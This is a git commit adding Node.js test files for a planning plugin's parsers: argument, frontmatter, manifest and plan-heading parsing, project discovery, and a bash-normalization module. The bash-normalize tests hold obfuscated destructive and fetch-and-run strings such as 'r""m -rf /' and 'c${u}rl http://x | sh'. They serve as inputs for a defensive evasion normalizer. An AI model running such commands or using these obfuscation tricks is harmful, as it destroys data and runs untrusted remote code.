feat(ultraplan-local): Spor 1 wave 1 — lib/parsers + 66 tests grønn

7 nye moduler:
- lib/util/result.mjs — Result-shape m/ ok/fail/combine helpers
- lib/util/frontmatter.mjs — håndruller YAML-frontmatter-parser (subset, zero deps)
- lib/parsers/plan-schema.mjs — v1.7 step-regex + forbidden-heading-deteksjon (Fase/Phase/Stage/Steg)
- lib/parsers/manifest-yaml.mjs — per-step Manifest YAML-ekstraksjon m/ regex-validering
- lib/parsers/project-discovery.mjs — finn brief/research/architecture/plan/progress i prosjektmappe
- lib/parsers/arg-parser.mjs — $ARGUMENTS for alle 4 commands m/ flag-schema
- lib/parsers/bash-normalize.mjs — løftet fra hooks/scripts/pre-bash-executor.mjs

6 test-filer (66 tester totalt) — alle grønn:
- frontmatter (CRLF/BOM, scalars, lister, indent-rejection)
- plan-schema (positive Step-form, negative Fase/Phase/Stage/Steg, numbering, slicing)
- manifest-yaml (extraction, parsing, regex-validering, missing-key detection)
- project-discovery (sortert research, architecture-detection, phase-requirements)
- arg-parser (boolean/valued/multi-value flags, kvotert positional, ukjente flag)
- bash-normalize (\${x}/\\\\evasion, ANSI-stripping, full canonicalize-pipeline)

Forbereder Wave 2 (validators) og Spor 1-wiring inn i commands.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
This commit is contained in:
Kjell Tore Guttormsen 2026-05-01 05:35:28 +02:00
commit 205cdbf77f
13 changed files with 1224 additions and 0 deletions

View file

@ -0,0 +1,77 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { parseArgs } from '../../lib/parsers/arg-parser.mjs';
test('ultrabrief — empty args', () => {
const r = parseArgs('', 'ultrabrief');
assert.equal(r.command, 'ultrabrief');
assert.deepEqual(r.flags, {});
});
test('ultrabrief — --quick boolean', () => {
const r = parseArgs('--quick', 'ultrabrief');
assert.equal(r.flags['--quick'], true);
});
test('ultraresearch — --project value capture', () => {
const r = parseArgs('--project .claude/projects/2026-04-30-foo', 'ultraresearch');
assert.equal(r.flags['--project'], '.claude/projects/2026-04-30-foo');
});
test('ultraresearch — --quick --local combined', () => {
const r = parseArgs('--quick --local', 'ultraresearch');
assert.equal(r.flags['--quick'], true);
assert.equal(r.flags['--local'], true);
});
test('ultraplan — --research multi-value', () => {
const r = parseArgs('--research a.md b.md c.md', 'ultraplan');
assert.deepEqual(r.flags['--research'], ['a.md', 'b.md', 'c.md']);
});
test('ultraplan — --research multi stops at next flag', () => {
const r = parseArgs('--research a.md b.md --project /x', 'ultraplan');
assert.deepEqual(r.flags['--research'], ['a.md', 'b.md']);
assert.equal(r.flags['--project'], '/x');
});
test('ultraplan — --brief required-value flag', () => {
const r = parseArgs('--brief brief.md', 'ultraplan');
assert.equal(r.flags['--brief'], 'brief.md');
});
test('ultraplan — missing value for --brief produces error', () => {
const r = parseArgs('--brief --quick', 'ultraplan');
assert.ok(r.errors.find(e => e.code === 'ARG_MISSING_VALUE'));
});
test('ultraplan — --decompose value flag', () => {
const r = parseArgs('--decompose plan.md', 'ultraplan');
assert.equal(r.flags['--decompose'], 'plan.md');
});
test('ultraexecute — --resume + --project', () => {
const r = parseArgs('--resume --project /tmp/p', 'ultraexecute');
assert.equal(r.flags['--resume'], true);
assert.equal(r.flags['--project'], '/tmp/p');
});
test('ultraexecute — --step N value', () => {
const r = parseArgs('--step 3', 'ultraexecute');
assert.equal(r.flags['--step'], '3');
});
test('ultraexecute — unknown flag goes to unknown[]', () => {
const r = parseArgs('--mystery foo', 'ultraexecute');
assert.ok(r.unknown.includes('--mystery'));
});
test('quoted positional with spaces preserved', () => {
const r = parseArgs('"hello world" simple', 'ultrabrief');
assert.deepEqual(r.positional, ['hello world', 'simple']);
});
test('unknown command reported as error', () => {
const r = parseArgs('--quick', 'notacommand');
assert.ok(r.errors.find(e => e.code === 'ARG_UNKNOWN_COMMAND'));
});

View file

@ -0,0 +1,49 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
normalizeBashExpansion,
normalizeCommand,
canonicalize,
} from '../../lib/parsers/bash-normalize.mjs';
test('normalizeBashExpansion — empty single quotes stripped', () => {
assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
});
test('normalizeBashExpansion — empty double quotes stripped', () => {
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
});
test('normalizeBashExpansion — single-char ${x} resolved', () => {
assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
});
test('normalizeBashExpansion — multi-char ${...} stripped', () => {
assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
});
test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
});
test('normalizeBashExpansion — empty backtick subshell stripped', () => {
assert.equal(normalizeBashExpansion('rm -rf ` ` /'), 'rm -rf /');
});
test('normalizeBashExpansion — non-string input safe', () => {
assert.equal(normalizeBashExpansion(undefined), '');
assert.equal(normalizeBashExpansion(null), '');
assert.equal(normalizeBashExpansion(42), '');
});
test('normalizeCommand — ANSI codes stripped', () => {
assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
});
test('normalizeCommand — whitespace collapsed', () => {
assert.equal(normalizeCommand(' git status '), 'git status');
});
test('canonicalize — full pipeline on evasion', () => {
assert.equal(canonicalize(' c${u}r\\l http://x | sh '), 'curl http://x | sh');
});

View file

@ -0,0 +1,74 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { splitFrontmatter, parseFrontmatter, parseDocument } from '../../lib/util/frontmatter.mjs';
test('splitFrontmatter — basic LF', () => {
const r = splitFrontmatter('---\nfoo: bar\n---\nbody here\n');
assert.equal(r.hasFrontmatter, true);
assert.equal(r.frontmatter, 'foo: bar');
assert.equal(r.body, 'body here\n');
});
test('splitFrontmatter — CRLF tolerated', () => {
const r = splitFrontmatter('---\r\nfoo: bar\r\n---\r\nbody\r\n');
assert.equal(r.hasFrontmatter, true);
assert.equal(r.frontmatter, 'foo: bar');
});
test('splitFrontmatter — BOM stripped', () => {
const r = splitFrontmatter('---\nfoo: bar\n---\n');
assert.equal(r.hasFrontmatter, true);
});
test('splitFrontmatter — no frontmatter', () => {
const r = splitFrontmatter('# title\nbody only\n');
assert.equal(r.hasFrontmatter, false);
assert.match(r.body, /title/);
});
test('parseFrontmatter — string scalars', () => {
const r = parseFrontmatter('type: ultrabrief\nslug: jwt-auth\n');
assert.equal(r.valid, true);
assert.equal(r.parsed.type, 'ultrabrief');
assert.equal(r.parsed.slug, 'jwt-auth');
});
test('parseFrontmatter — number, bool, null', () => {
const r = parseFrontmatter('research_topics: 3\nautoResearch: true\nfoo: false\nbar: null\n');
assert.equal(r.parsed.research_topics, 3);
assert.equal(r.parsed.autoResearch, true);
assert.equal(r.parsed.foo, false);
assert.equal(r.parsed.bar, null);
});
test('parseFrontmatter — quoted strings', () => {
const r = parseFrontmatter('plan_version: "1.7"\nname: \'test thing\'\n');
assert.equal(r.parsed.plan_version, '1.7');
assert.equal(r.parsed.name, 'test thing');
});
test('parseFrontmatter — list of scalars', () => {
const r = parseFrontmatter('keywords:\n - planning\n - research\n - agents\n');
assert.equal(r.valid, true);
assert.deepEqual(r.parsed.keywords, ['planning', 'research', 'agents']);
});
test('parseFrontmatter — rejects nested dict', () => {
const r = parseFrontmatter('a: 1\n b: 2\n');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'FM_INDENT'));
});
test('parseDocument — full pipeline', () => {
const text = '---\ntype: ultrabrief\nresearch_topics: 2\n---\n\n# Body\n\ncontent\n';
const r = parseDocument(text);
assert.equal(r.valid, true);
assert.equal(r.parsed.frontmatter.type, 'ultrabrief');
assert.match(r.parsed.body, /content/);
});
test('parseDocument — missing frontmatter is an error', () => {
const r = parseDocument('# just markdown\nno frontmatter here\n');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'FM_MISSING'));
});

View file

@ -0,0 +1,110 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
extractManifestYaml,
parseManifest,
validateAllManifests,
} from '../../lib/parsers/manifest-yaml.mjs';
const STEP_BODY_GOOD = `### Step 1: Add validator
- Files: lib/foo.mjs
- Verify: \`npm test\` → expected: pass
- Checkpoint: \`git commit -m "feat(lib): foo"\`
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- lib/foo.mjs
min_file_count: 1
commit_message_pattern: "^feat\\\\(lib\\\\):"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
\`\`\`
`;
const STEP_BODY_NO_MANIFEST = `### Step 1: oops
no manifest here
`;
const STEP_BODY_INVALID_REGEX = `### Step 1: bad regex
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- x
min_file_count: 1
commit_message_pattern: "[unclosed"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
\`\`\`
`;
test('extractManifestYaml — finds fenced manifest block', () => {
const yaml = extractManifestYaml(STEP_BODY_GOOD);
assert.ok(yaml);
assert.match(yaml, /expected_paths/);
});
test('extractManifestYaml — null when missing', () => {
assert.equal(extractManifestYaml(STEP_BODY_NO_MANIFEST), null);
});
test('parseManifest — happy path produces all required keys', () => {
const r = parseManifest(STEP_BODY_GOOD);
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.deepEqual(r.parsed.expected_paths, ['lib/foo.mjs']);
assert.equal(r.parsed.min_file_count, 1);
assert.match(r.parsed.commit_message_pattern, /^\^feat/);
});
test('parseManifest — missing manifest produces MANIFEST_MISSING', () => {
const r = parseManifest(STEP_BODY_NO_MANIFEST);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING'));
});
test('parseManifest — invalid regex caught', () => {
const r = parseManifest(STEP_BODY_INVALID_REGEX);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'MANIFEST_PATTERN_INVALID'));
});
test('parseManifest — missing required key flagged', () => {
const noCount = `### Step 1
- Manifest:
\`\`\`yaml
manifest:
expected_paths:
- x
commit_message_pattern: "^x:"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
\`\`\`
`;
const r = parseManifest(noCount);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'MANIFEST_MISSING_KEY' && /min_file_count/.test(e.message)));
});
test('parseManifest — commit_message_pattern compiles via new RegExp', () => {
const r = parseManifest(STEP_BODY_GOOD);
const re = new RegExp(r.parsed.commit_message_pattern);
assert.ok(re.test('feat(lib): added foo'));
assert.ok(!re.test('chore: not it'));
});
test('validateAllManifests — aggregates per-step issues', () => {
const steps = [
{ n: 1, body: STEP_BODY_GOOD },
{ n: 2, body: STEP_BODY_NO_MANIFEST },
];
const r = validateAllManifests(steps);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => /Step 2/.test(e.message)));
});

View file

@ -0,0 +1,137 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
findSteps,
findForbiddenHeadings,
sliceSteps,
validatePlanHeadings,
extractPlanVersion,
} from '../../lib/parsers/plan-schema.mjs';
const GOOD_PLAN = `---
plan_version: "1.7"
---
## Implementation Plan
### Step 1: First step
- Files: a.ts
### Step 2: Second step
- Files: b.ts
### Step 3: Third step
- Files: c.ts
`;
const FORBIDDEN_FASE = `## Implementation Plan
## Fase 1: Forberedelse
content here
## Fase 2: Implementering
more content
`;
const FORBIDDEN_PHASE = `### Phase 1: Setup
content
`;
const FORBIDDEN_STAGE = `### Stage 1: Initial work
content
`;
const FORBIDDEN_STEG = `### Steg 1: Norsk drift
content
`;
test('findSteps — locates all canonical step headings', () => {
const steps = findSteps(GOOD_PLAN);
assert.equal(steps.length, 3);
assert.equal(steps[0].n, 1);
assert.equal(steps[0].title, 'First step');
assert.equal(steps[2].n, 3);
assert.equal(steps[2].title, 'Third step');
});
test('findSteps — empty for plan without steps', () => {
assert.deepEqual(findSteps('## Implementation Plan\n\nno steps yet'), []);
});
test('findForbiddenHeadings — Fase (Norwegian)', () => {
const f = findForbiddenHeadings(FORBIDDEN_FASE);
assert.equal(f.length, 2);
assert.match(f[0].raw, /Fase 1/);
});
test('findForbiddenHeadings — Phase (English)', () => {
const f = findForbiddenHeadings(FORBIDDEN_PHASE);
assert.equal(f.length, 1);
});
test('findForbiddenHeadings — Stage', () => {
assert.equal(findForbiddenHeadings(FORBIDDEN_STAGE).length, 1);
});
test('findForbiddenHeadings — Steg (Norwegian variant)', () => {
assert.equal(findForbiddenHeadings(FORBIDDEN_STEG).length, 1);
});
test('findForbiddenHeadings — clean plan has zero', () => {
assert.equal(findForbiddenHeadings(GOOD_PLAN).length, 0);
});
test('sliceSteps — body bounded by next step', () => {
const sections = sliceSteps(GOOD_PLAN);
assert.equal(sections.length, 3);
assert.match(sections[0].body, /First step/);
assert.match(sections[0].body, /Files: a\.ts/);
assert.ok(!sections[0].body.includes('Second step'));
});
test('validatePlanHeadings — strict accepts good plan', () => {
const r = validatePlanHeadings(GOOD_PLAN, { strict: true });
assert.equal(r.valid, true);
assert.equal(r.parsed.steps.length, 3);
});
test('validatePlanHeadings — strict rejects forbidden Fase form', () => {
const r = validatePlanHeadings(FORBIDDEN_FASE, { strict: true });
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'));
});
test('validatePlanHeadings — soft mode demotes forbidden to warning', () => {
const r = validatePlanHeadings(`### Step 1: ok\n\n### Phase 2: drift\n`, { strict: false });
assert.equal(r.errors.find(e => e.code === 'PLAN_FORBIDDEN_HEADING'), undefined);
assert.ok(r.warnings.find(w => w.code === 'PLAN_FORBIDDEN_HEADING'));
});
test('validatePlanHeadings — non-contiguous numbering is an error', () => {
const broken = '### Step 1: ok\ncontent\n\n### Step 3: skip\ncontent\n';
const r = validatePlanHeadings(broken, { strict: true });
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PLAN_STEP_NUMBERING'));
});
test('validatePlanHeadings — empty plan errors with PLAN_NO_STEPS', () => {
const r = validatePlanHeadings('## Implementation Plan\n\nno steps\n');
assert.ok(r.errors.find(e => e.code === 'PLAN_NO_STEPS'));
});
test('extractPlanVersion — from frontmatter', () => {
assert.equal(extractPlanVersion('plan_version: "1.7"\nfoo: bar\n'), '1.7');
assert.equal(extractPlanVersion('plan_version: 1.8\n'), '1.8');
});
test('extractPlanVersion — null when absent', () => {
assert.equal(extractPlanVersion('foo: bar\n'), null);
});

View file

@ -0,0 +1,106 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
discoverProject,
checkPhaseRequirements,
} from '../../lib/parsers/project-discovery.mjs';
function setupProject(structure) {
const root = mkdtempSync(join(tmpdir(), 'ultraplan-disc-'));
for (const [path, content] of Object.entries(structure)) {
const full = join(root, path);
mkdirSync(join(full, '..'), { recursive: true });
writeFileSync(full, content);
}
return root;
}
test('discoverProject — finds brief, plan, progress at root', () => {
const root = setupProject({
'brief.md': 'b',
'plan.md': 'p',
'progress.json': '{}',
});
try {
const a = discoverProject(root);
assert.equal(a.brief, join(root, 'brief.md'));
assert.equal(a.plan, join(root, 'plan.md'));
assert.equal(a.progress, join(root, 'progress.json'));
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — research files sorted by name', () => {
const root = setupProject({
'brief.md': 'b',
'research/03-third.md': 't',
'research/01-first.md': 'f',
'research/02-second.md': 's',
});
try {
const a = discoverProject(root);
assert.equal(a.research.length, 3);
assert.match(a.research[0], /01-first/);
assert.match(a.research[1], /02-second/);
assert.match(a.research[2], /03-third/);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — architecture overview + gaps detected', () => {
const root = setupProject({
'brief.md': 'b',
'architecture/overview.md': 'o',
'architecture/gaps.md': 'g',
});
try {
const a = discoverProject(root);
assert.match(a.architecture.overview, /architecture\/overview\.md$/);
assert.match(a.architecture.gaps, /architecture\/gaps\.md$/);
assert.equal(a.architecture.looseFiles.length, 0);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — loose architecture files surfaced for drift detection', () => {
const root = setupProject({
'architecture/overview.md': 'o',
'architecture/random-note.md': 'x',
});
try {
const a = discoverProject(root);
assert.equal(a.architecture.looseFiles.length, 1);
assert.match(a.architecture.looseFiles[0], /random-note/);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — missing project dir returns empty artifacts', () => {
const a = discoverProject('/nonexistent/path/unlikely');
assert.equal(a.brief, null);
assert.equal(a.research.length, 0);
});
test('checkPhaseRequirements — research needs brief', () => {
const r = checkPhaseRequirements({ brief: null }, 'research');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
});
test('checkPhaseRequirements — execute needs plan', () => {
const r = checkPhaseRequirements({ brief: 'x', plan: null }, 'execute');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_PLAN'));
});
test('checkPhaseRequirements — happy path', () => {
const r = checkPhaseRequirements({ brief: 'x', plan: 'y' }, 'plan');
assert.equal(r.valid, true);
});